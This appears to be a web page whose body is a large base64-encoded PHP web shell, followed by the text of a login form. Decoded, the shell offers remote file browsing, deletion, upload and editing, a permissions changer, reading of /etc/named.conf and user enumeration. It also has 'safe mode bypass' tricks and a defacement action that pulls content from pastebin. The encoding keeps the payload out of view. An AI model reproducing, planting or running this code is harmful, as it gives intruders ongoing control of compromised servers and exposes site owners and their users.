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pZihjICE9IG51bGwpZG9jdW1lbnQubWYuYy52YWx1ZT1jOw0KICAgICAgICAgICAgaWYocDEgIT0gbnVsbClkb2N1bWVudC5tZi5wMS52YWx1ZT1wMTsNCiAgICAgICAgICAgIGlmKHAyICE9IG51bGwpZG9jdW1lbnQubWYucDIudmFsdWU9cDI7DQogICAgICAgICAgICBpZihwMyAhPSBudWxsKWRvY3VtZW50Lm1mLnAzLnZhbHVlPXAzOw0KICAgICAgICAgICAgaWYoY2hhcnNldCAhPSBudWxsKWRvY3VtZW50Lm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldDsNCiAgICAgICAgfQ0KICAgICAgICBmdW5jdGlvbiBnKGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7DQogICAgICAgICAgICBzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpOw0KICAgICAgICAgICAgZG9jdW1lbnQubWYuc3VibWl0KCk7DQogICAgICAgIH0NCiAgICAgICAgZnVuY3Rpb24gYShhLGMscDEscDIscDMsY2hhcnNldCkgew0KICAgICAgICAgICAgc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsNCiAgICAgICAgICAgIHZhciBwYXJhbXMgPSAiYWpheD10cnVlIjsNCiAgICAgICAgICAgIGZvcihpPTA7aTxkb2N1bWVudC5tZi5lbGVtZW50cy5sZW5ndGg7aSsrKQ0KICAgICAgICAgICAgICAgIHBhcmFtcyArPSAiJiIrZG9jdW1lbnQubWYuZWxlbWVudHNbaV0ubmFtZSsiPSIrZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50Lm1mLmVsZW1lbnRzW2ldLnZhbHVlKTsNCiAgICAgICAgICAgIHNyKCInLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddLiciLCBwYXJhbXMpOw0KICAgICAgICB9DQogICAgICAgIGZ1bmN0aW9uIHNyKHVybCwgcGFyYW1zKSB7ICAgIA0KICAgICAgICAgICAgaWYgKHdpbmRvdy5YTUxIdHRwUmVxdWVzdCkgew0KICAgICAgICAgICAgICAgIHJlcSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOw0KICAgICAgICAgICAgICAgIHJlcS5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBwcm9jZXNzUmVxQ2hhbmdlOw0KICAgICAgICAgICAgICAgIHJlcS5vcGVuKCJQT1NUIiwgdXJsLCB0cnVlKTsNCiAgICAgICAgICAgICAgICByZXEuc2V0UmVxdWVzdEhlYWRlciAoIkNvbnRlbnQtVHlwZSIsICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKTsNCiAgICAgICAgICAgICAgICByZXEuc2VuZChwYXJhbXMpOw0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIGVsc2UgaWYgKHdpbmRvdy5BY3RpdmVYT2JqZWN0KSB7DQogICAgICAgICAgICAgICAgcmVxID0gbmV3IEFjdGl2ZVhPYmplY3QoIk1pY3Jvc29mdC5YTUxIVFRQIik7DQogICAgICAgICAgICAgICAgaWYgKHJlcSkgew0KICAgICAgICAgICAgICAgICAgICByZXEub25yZWFkeXN0YXRlY2hhbmdlID0gcHJvY2Vzc1JlcUNoYW5nZTsNCiAgICAgICAgICAgICAgICAgICAgcmVxLm9wZW4oIlBPU1QiLCB1cmwsIHRydWUpOw0KICAgICAgICAgICAgICAgICAgICByZXEuc2V0UmVxdWVzdEhlYWRlciAoIkNvbnRlbnQtVHlwZSIsICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKTsNCiAgICAgICAgICAgICAgICAgICAgcmVxLnNlbmQocGFyYW1zKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgZnVuY3Rpb24gcHJvY2Vzc1JlcUNoYW5nZSgpIHsNCiAgICAgICAgICAgIGlmKCAocmVxLnJlYWR5U3RhdGUgPT0gNCkgKQ0KICAgICAgICAgICAgICAgIGlmKHJlcS5zdGF0dXMgPT0gMjAwKSB7DQogICAgICAgICA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RyaXZlcyAuPSAnPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnLiRkcml2ZS4nOi9cJykiPlsgJy4kZHJpdmUuJyBdPC9hPiAnOw0KICAgICAgICB9DQogICAgICAgICRkcml2ZXMgLj0gJzxiciAvPjogJzsNCiAgICB9DQogICAgaWYoJEdMT0JBTFNbJ29zJ10gPT0gJ25peCcpIHsNCiAgICAgICAgJGRvbWluaW9zID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL25hbWVkLmNvbmYiKTsNCiAgICAgICAgaWYoISRkb21pbmlvcykgew0KICAgICAgICAgICAgJGQwYyA9ICJDQU5UIFJFQUQgbmFtZWQuY29uZiI7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICBAcHJlZ19tYXRjaF9hbGwoJy8uKj96b25lICIoLio/KSIgey8nLCAkZG9taW5pb3MsICRvdXQpOw0KICAgICAgICAgICAgJG91dCA9IHNpemVvZihhcnJheV91bmlxdWUoJG91dFsxXSkpOw0KICAgICAgICAgICAgJGQwYyA9ICRvdXQuIiAgRG9tYWlucyI7DQogICAgICAgIH0NCiAgICB9IGVsc2Ugew0KICAgICAgICAkZDBjID0gIiAtLS0gIjsNCiAgICB9DQogICAgaWYoJEdMT0JBTFNbJ29zJ10gPT0gJ25peCcgKQ0KICAgIHsNCiAgICAgICAgJHVzZWZsID0gJyc7ICRkd25sZHIgPSAnJzsNCiAgICAgICAgaWYoIUBpbmlfZ2V0KCdzYWZlX21vZGUnKSkgew0KICAgICAgICAgICAgJHRlbXAgPSBhcnJheSgpOw0KICAgICAgICAgICAgJHVzZXJmdWwgPSBhcnJheSgnZ2NjJywnbGNjJywnY2MnLCdsZCcsJ21ha2UnLCdwaHAnLCdwZXJsJywncHl0aG9uJywncnVieScsJ3RhcicsJ2d6aXAnLCdiemlwJywnYnppcDInLCduYycsJ2xvY2F0ZScsJ3N1aWRwZXJsJyk7DQogICAgICAgICAgICBmb3JlYWNoK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AgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIGNhc2UgJ21rZGlyJzoNCiAgICAgICAgICAgICAgICBpZighQG1rZGlyKCRfUE9TVFsncDInXSkpDQogICAgICAgICAgICAgICAgICAgIGVjaG8gIkNhbid0IGNyZWF0ZSBuZXcgZGlyIjsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIGNhc2UgJ2RlbGV0ZSc6DQogICAgICAgICAgICAgICAgZnVuY3Rpb24gZGVsZXRlRGlyKCRwYXRoKSB7DQogICAgICAgICAgICAgICAgICAgICRwYXRoID0gKHN1YnN0cigkcGF0aCwtMSk9PScvJykgPyAkcGF0aDokcGF0aC4nLyc7DQogICAgICAgICAgICAgICAgICAgICRkaCAgPSBvcGVuZGlyKCRwYXRoKTsNCiAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCAoJGl0ZW0gPSByZWFkZGlyKCRkaCkgKSAhPT0gZmFsc2UpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtID0gJHBhdGguJGl0ZW07DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoIChiYXNlbmFtZSgkaXRlbSkgPT0gIi4uIikgfHwgKGJhc2VuYW1lKCRpdGVtKSA9PSAiLiIpICkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICR0eXBlID0gZmlsZXR5cGUoJGl0ZW0pOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR0eXBlID09ICJkaXIiKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRlbGV0ZURpcigkaXRlbSk7DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQHVubGluaygkaXRlbSk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgY2xvc2VkaXIoJGRoKTsNCiAgICAgICAgICAgICAgICAgICAgcm1kaXIoJHBhdGgpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBpZihpc19hcnJheShAJF9QT1NUWydmJ10pKQ0KICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfUE9TVFsnZiddIGFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkZiA9IHVybGRlY29kZSgkZik7DQogICAgICAgICAgICAgICAgICAgICAgICBpZihpc19kaXIoJGYpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRlbGV0ZURpcigkZik7DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQHVubGluaygkZik7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIGNhc2UgJ3Bhc3RlJzoNCiAgICAgICAgICAgICAgICBpZigkX1NFU1NJT05bJ2FjdCddID09ICdjb3B5Jykgew0KICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBjb3B5X3Bhc3RlKCRjLCRzLCRkKXsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzX2RpcigkYy4kcykpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1rZGlyKCRkLiRzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaCA9IG9wZW5kaXIoJGMuJHMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgoJGYgPSByZWFkZGlyKCRoKSkgIT09IGZhbHNlKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmKGlzX2ZpbGUoJGMuJHMpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQGNvcHkoJGMuJHMsICRkLiRzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRmKQ0KICAgICAgICAgICAgICAgICAgICAgICAgY29weV9wYXN0ZSgkX1NFU1NJT05bJ2N3ZCddLCRmLCAkR0xPQkFMU1snY3dkJ10pOyAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgfSBlbHNlaWYoJF9TRVNTSU9OWydhY3QnXSA9PSAnbW92ZScpIHsNCiAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gbW92ZV9wYXN0ZSgkYywkcywkZCl7DQogICAgICAgICAgICAgICAgICAgICAgICBpZihpc19kaXIoJGMuJHMpKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBta2RpcigkZC4kcyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGggPSBvcGVuZGlyKCRjLiRzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoKCRmID0gcmVhZGRpcigkaCkpICE9PSBmYWxzZSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCgkZiAhPSAiLiIpIGFuZCAoJGYgIT0gIi4uIikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvcHlfcGFzdGUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZihpc19maWxlKCRjLiRzKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjb3B5KCRjLiRzLCAkZC4kcyk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkZikNCiAgICAgICAgICAgICAgICAgICAgICAgIEByZW5hbWUoJF9TRVNTSU9OWydjd2QnXS4kZiwgJEdMT0JBTFNbJ2N3ZCddLiRmKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgdW5zZXQoJF9TRVNTSU9OWydmJ10pOw0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgZGVmYXVsdDoNCiAgICAgICAgICAgICAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSAmJiAoKCRfUE9TVFsncDEnXSA9PSAnY29weScpfHwoJF9QT1NUWydwMSddID09ICdtb3ZlJykpICkgew0KICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2FjdCddID0gQCRfUE9TVFsncDEnXTsNCiAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydmJ10gPSBAJF9QT1NUWydmJ107DQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGsgPT4gJGYpDQogICAgICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2YnXVska10gPSB1cmxkZWNvZGUoJGYpOw0KICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2N3ZCddID0gQCRfUE9TVFsnYyddOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgfQ0KICAgICAgICBlY2hvICc8c2NyaXB0PmRvY3VtZW50Lm1mLnAxLnZhbHVlPSIiO2RvY3VtZW50Lm1mLnAyLnZhbHVlPSIiOzwvc2NyaXB0Pic7DQogICAgfQ0KICAgIGlmKGlzc2V0KCRfUE9TVFsncDEnXSkgJiYgJF9QT1NUWydwMSddPT0nZGVmYWNlJykgew0KICAgICAgICAkZGVmID0gZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9wYXN0ZWJpbi5jb20vZG93bm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gICAgICAgICAgICAgJ3BhdGgnID0+ICRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0sDQogICAgICAgICAgICAgICAgICAgICAnbW9kaWZ5JyA9PiBAZGF0ZSgnWS1tLWQgSDppOnMnLEBmaWxlbXRpbWUoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSkpLA0KICAgICAgICAgICAgICAgICAgICAgJ3Blcm1zJyA9PiB2aWV3UGVybXNDb2xvcigkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSwNCiAgICAgICAgICAgICAgICAgICAgICdzaXplJyA9PiBAZmlsZXNpemUoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSksDQogICAgICAgICAgICAgICAgICAgICAnb3duZXInID0+ICRvd1snbmFtZSddPyRvd1snbmFtZSddOkBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSwNCiAgICAgICAgICAgICAgICAgICAgICdncm91cCcgPT4gJGdyWyduYW1lJ10/JGdyWyduYW1lJ106QGZpbGVncm91cCgkZGlyQ29udGVudFskaV0pDQogICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgIGlmKEBpc19maWxlKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pKQ0KICAgICAgICAgICAgJGZpbGVzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2ZpbGUnKSk7DQogICAgICAgIGVsc2VpZihAaXNfbGluaygkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSkNCiAgICAgICAgICAgICRsaW5rc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdsaW5rJykpOw0KICAgICAgICBlbHNlaWYoQGlzX2RpcigkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSYmICgkZGlyQ29udGVudFskaV0gIT0gIi4iKSkNCiAgICAgICAgICAgICRkaXJz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Zihpc19maWxlKCRfUE9TVFsncDEnXSkgJiYgaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSkgew0KICAgICAgICAgICAgb2Jfc3RhcnQoIm9iX2d6aGFuZGxlciIsIDQwOTYpOw0KICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iLmJhc2VuYW1lKCRfUE9TVFsncDEnXSkpOw0KICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygibWltZV9jb250ZW50X3R5cGUiKSkgew0KICAgICAgICAgICAgICAgICR0eXBlID0gQG1pbWVfY29udGVudF90eXBlKCRfUE9TVFsncDEnXSk7DQogICAgICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6ICIuJHR5cGUpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgInIiKTsNCiAgICAgICAgICAgIGlmKCRmcCkgew0KICAgICAgICAgICAgICAgIHdoaWxlKCFAZmVvZigkZnApKQ0KICAgICAgICAgICAgICAgICAgICBlY2hvIEBmcmVhZCgkZnAsIDEwMjQpOw0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGVsc2VpZihpc19kaXIoJF9QT1NUWydwMSddKSAmJiBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pKSB7DQoNCiAgICAgICAgfQ0KICAgICAgICBleGl0Ow0KICAgIH0NCiAgICBpZiggQCRfUE9TVFsncDInXSA9PSAnbWtmaWxlJyApIHsNCiAgICAgICAgaWYoIWZpbGVfZXhpc3RzKCRfUE9TVFsncDEnXSkpIHsNCiAgICAgICAgICAgICRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICd3Jyk7DQogICAgICAgICAgICBpZigkZnApIHsNCiAgICAgICAgICAgICAgICAkX1BPU1RbJ3AyJ10gPSAiZWRpd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JzwvcHJlPic7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAnaGlnaGxpZ2h0JzoNCiAgICAgICAgICAgIGlmKCBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pICkgew0KICAgICAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9bWwxIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwO2NvbG9yOmJsYWNrOyI+JzsNCiAgICAgICAgICAgICAgICAkY29kZSA9IGhpZ2hsaWdodF9maWxlKCRfUE9TVFsncDEnXSx0cnVlKTsNCiAgICAgICAgICAgICAgICBlY2hvIHN0cl9yZXBsYWNlKGFycmF5KCc8c3BhbiAnLCc8L3NwYW4+JyksIGFycmF5KCc8Zm9udCAnLCc8L2ZvbnQ+JyksJGNvZGUpLic8L2Rpdj4nOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgJ2NobW9kJzoNCiAgICAgICAgICAgIGlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsNCiAgICAgICAgICAgICAgICAkcGVybXMgPSAwOw0KICAgICAgICAgICAgICAgIGZvcigkaT1zdHJsZW4oJF9QT1NUWydwMyddKS0xOyRpPj0wOy0tJGkpDQogICAgICAgICAgICAgICAgICAgICRwZXJtcyArPSAoaW50KSRfUE9TVFsncDMnXVskaV0qcG93KDgsIChzdHJsZW4oJF9QT1NUWydwMyddKS0kaS0xKSk7DQogICAgICAgICAgICAgICAgaWYoIUBjaG1vZCgkX1BPU1RbJ3AxJ10sICRwZXJtcykpDQogICAgICAgICAgICAgICAgICAgIGVjaG8gJ0NhblwndCBzZXQgcGVybWlzc2lvbnMhPGJyPjxzY3JpcHQ+ZG9jdW1lbnQubWYucDMudmFsdWU9IiI7PC9zY3JpcHQ+JzsNCiAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgIGRpZSgnPHNjcmlwdD5nKG51bGwsbnVsbCxud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AgICB3aGlsZSggIUBmZW9mKCRmcCkgKQ0KICAgICAgICAgICAgICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmcCwgMTAyNCkpOw0KICAgICAgICAgICAgICAgIEBmY2xvc2UoJGZwKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVjaG8gJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAnaGV4ZHVtcCc6DQogICAgICAgICAgICAkYyA9IEBmaWxlX2dldF9jb250ZW50cygkX1BPU1RbJ3AxJ10pOw0KICAgICAgICAgICAgJG4gPSAwOw0KICAgICAgICAgICAgJGggPSBhcnJheSgnMDAwMDAwMDA8YnI+JywnJywnJyk7DQogICAgICAgICAgICAkbGVuID0gc3RybGVuKCRjKTsNCiAgICAgICAgICAgIGZvciAoJGk9MDsgJGk8JGxlbjsgKyskaSkgew0KICAgICAgICAgICAgICAgICRoWzFdIC49IHNwcmludGYoJyUwMlgnLG9yZCgkY1skaV0pKS4nICc7DQogICAgICAgICAgICAgICAgc3dpdGNoICggb3JkKCRjWyRpXSkgKSB7DQogICAgICAgICAgICAgICAgICAgIGNhc2UgMDogICRoWzJdIC49ICcgJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgICAgIGNhc2UgOTogICRoWzJdIC49ICcgJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgICAgIGNhc2UgMTA6ICRoWzJdIC49ICcgJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgICAgIGNhc2UgMTM6ICRoWzJdIC49ICcgJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgICAgIGRlZmF1bHQ6ICRoWzJdIC49ICRjWyRpXTsgYnJlYWs7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICRuKys7DQogICAgICAgICAgICAgICAgaWYgKCRuID09IDMyKSB7DQogICAgICAgICAgICAgICAgICAgICRuID0gMDsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCRpKzEgPCAkbGVuKSB7JGhbMF0gLj0gc3ByaW50ZignJTA4WCcsJGkrMSkuJzxicj4nO30NCiAgICAgICAgICAgICAgICAgICAgJGhbMV0gLj0gJzxicj4nOw0KICAgICAgICAgICAgICAgICAgICAkaFsyXSAuPSAiXG4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvICc8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01IGJnY29sb3I9IzAwMD48dHI+PHRkIGJnY29sb3I9IzAwMD48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6IG5vcm1hbDsiPjxwcmU+Jy4kaFswXS4nPC9wcmU+PC9zcGFuPjwvdGQ+PHRkIGJnY29sb3I9IzAwMD48cHJlPicuJGhbMV0uJzwvcHJlPjwvdGQ+PHRkIGJnY29sb3I9IzAwMD48cHJlPicuaHRtbHNwZWNpYWxjaGFycygkaFsyXSkuJzwvcHJlPjwvdGQ+PC90cj48L3RhYmxlPic7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAncmVuYW1lJzoNCiAgICAgICAgICAgIGlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsNCiAgICAgICAgICAgICAgICBpZighQHJlbmFtZSgkX1BPU1RbJ3AxJ10sICRfUE9TVFsncDMnXSkpDQogICAgICAgICAgICAgICAgICAgIGVjaG8gJ0NhblwndCByZW5hbWUhPGJyPjxzY3JpcHQ+ZG9jdW1lbnQubWYucDMudmFsdWU9IiI7PC9zY3JpcHQ+JzsNCiAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgIGRpZSgnPHNjcmlwdD5nKG51bGwsbnVsbCwiJy51cmxlbmNvZGUoJF9QT1NUWydwMyddKS4nIixudWxsLCIiKTwvc2NyaXB0PicpOw0KICAgICAgICAgICAgfQ0KICA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WNoIHZhbHVlPSInLmRhdGUoIlktbS1kIEg6aTpzIiwgQGZpbGVtdGltZSgkX1BPU1RbJ3AxJ10pKS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlICdta2ZpbGUnOg0KICAgICAgICAgICAgDQogICAgICAgICAgICBicmVhazsNCiAgICB9DQogICAgZWNobyAnPC9kaXY+JzsNCiAgICBwcmludEZvb3RlcigpOw0KfQ0KDQpmdW5jdGlvbiBhY3Rpb25TYWZlTW9kZSgpIHsNCiAgICAkdGVtcD0nJzsNCiAgICBvYl9zdGFydCgpOw0KICAgIHN3aXRjaCgkX1BPU1RbJ3AxJ10pIHsNCiAgICAgICAgY2FzZSAxOg0KICAgICAgICAgICAgJHRlbXA9QHRlbXBuYW0oJHRlc3QsICdjeCcpOw0KICAgICAgICAgICAgaWYoQGNvcHkoImNvbXByZXNzLnpsaWI6Ly8iLiRfUE9TVFsncDInXSwgJHRlbXApKXsNCiAgICAgICAgICAgICAgICBlY2hvIEBmaWxlX2dldF9jb250ZW50cygkdGVtcCk7DQogICAgICAgICAgICAgICAgdW5saW5rKCR0ZW1wKTsNCiAgICAgICAgICAgIH0gZWxzZQ0KICAgICAgICAgICAgICAgIGVjaG8gJ1NvcnJ5Li4uIENhblwndCBvcGVuIGZpbGUnOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgMjoNCiAgICAgICAgICAgICRmaWxlcyA9IGdsb2IoJF9QT1NUWydwMiddLicqJyk7DQogICAgICAgICAgICBpZiggaXNfYXJyYXkoJGZpbGVzKSApDQogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlbmFtZSkNCiAgICAgICAgICAgICAgICAgICAgZWNobyAkZmlsZW5hbWUuIlxuIjsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlIDM6DQogICAgICAgICAgICAkY2ggPSBjdXJsX2luaXQoImZpbGU6Ly8iLiRfUE9TVFsncDInXS4iXHgwMCIuU0VMRl9QQVRIKTsNCiAgICAgICAgICAgIGN1cmxfZXhlYygkY2gpOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgNDoNCiAgICAgICAgICAgIGluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCiAgICAgICAgICAgIGluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCiAgICAgICAgICAgIGluY2x1ZGUoJF9QT1NUWydwMiddKTsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlIDU6DQogICAgICAgICAgICBmb3IoOyRfUE9TVFsncDInXSA8PSAkX1BPU1RbJ3AzJ107JF9QT1NUWydwMiddKyspIHsNCiAgICAgICAgICAgICAgICAkdWlkID0gQHBvc2l4X2dldHB3dWlkKCRfUE9TVFsncDInXSk7DQogICAgICAgICAgICAgICAgaWYgKCR1aWQpDQogICAgICAgICAgICAgICAgICAgIGVjaG8gam9pbignOicsJHVpZCkuIlxuIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlIDY6DQogICAgICAgICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdpbWFwX29wZW4nKSlicmVhazsNCiAgICAgICAgICAgICRzdHJlYW0gPSBpbWFwX29wZW4oJF9QT1NUWydwMiddLCAiIiwgIiIpOw0KICAgICAgICAgICAgaWYgKCRzdHJlYW0gPT0gRkFMU0UpDQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICBlY2hvIGltYXBfYm9keSgkc3RyZWFtLCAxKTsNCiAgICAgICAgICAgIGltYXBfY2xvc2UoJHN0cmVhbSk7DQogICAgICAgICAgICBicmVhazsNCiAgICB9DQogICAgJHRlbXAgPSBvYl9nZXRfY2xlYW4oKTsNCiAgICBwcmludEhlYWRlcigpOw0KICAgIGVjaG8gJzxoMT5TYWZlIG1vZGUgYnlwYXNzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsNCiAgICBlY2hvICc8c

 
 

Email ID

Password

 
 
Forget Password